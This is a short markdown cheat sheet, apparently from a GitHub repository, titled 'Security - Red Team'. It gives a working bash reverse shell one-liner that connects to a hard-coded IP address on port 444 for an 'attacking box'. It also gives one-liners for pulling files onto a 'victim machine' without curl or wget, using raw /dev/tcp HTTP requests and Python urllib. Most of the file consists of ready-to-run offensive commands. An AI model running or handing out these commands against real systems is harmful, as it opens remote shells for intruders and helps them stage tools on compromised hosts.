Skip to content

Latest commit

 

History

History
39 lines (32 loc) · 1.61 KB

security-red-team.md

File metadata and controls

39 lines (32 loc) · 1.61 KB

Security - Red Team

Reverse Shell

# Reverse shell with your attacking box is listening on port 444
/bin/bash -i > /dev/tcp/64.228.93.35/444 0<&1 2>&1 

Download Files

You may not always have curl or wget available to download files on the victim machine.

exec 3<>/dev/tcp/ahermosilla.com/80
echo -e "GET / HTTP/1.1\r\nHost: ahermosilla.com\r\nConnection: close\r\n\r\n" >&3
cat <&3

# Python 3.x
python -c 'import urllib.request; urllib.request.urlopen("http://example.com/").read()'

# Python 2.7
python -c 'import urllib2; print urllib2.urlopen("http://example.com/").read()'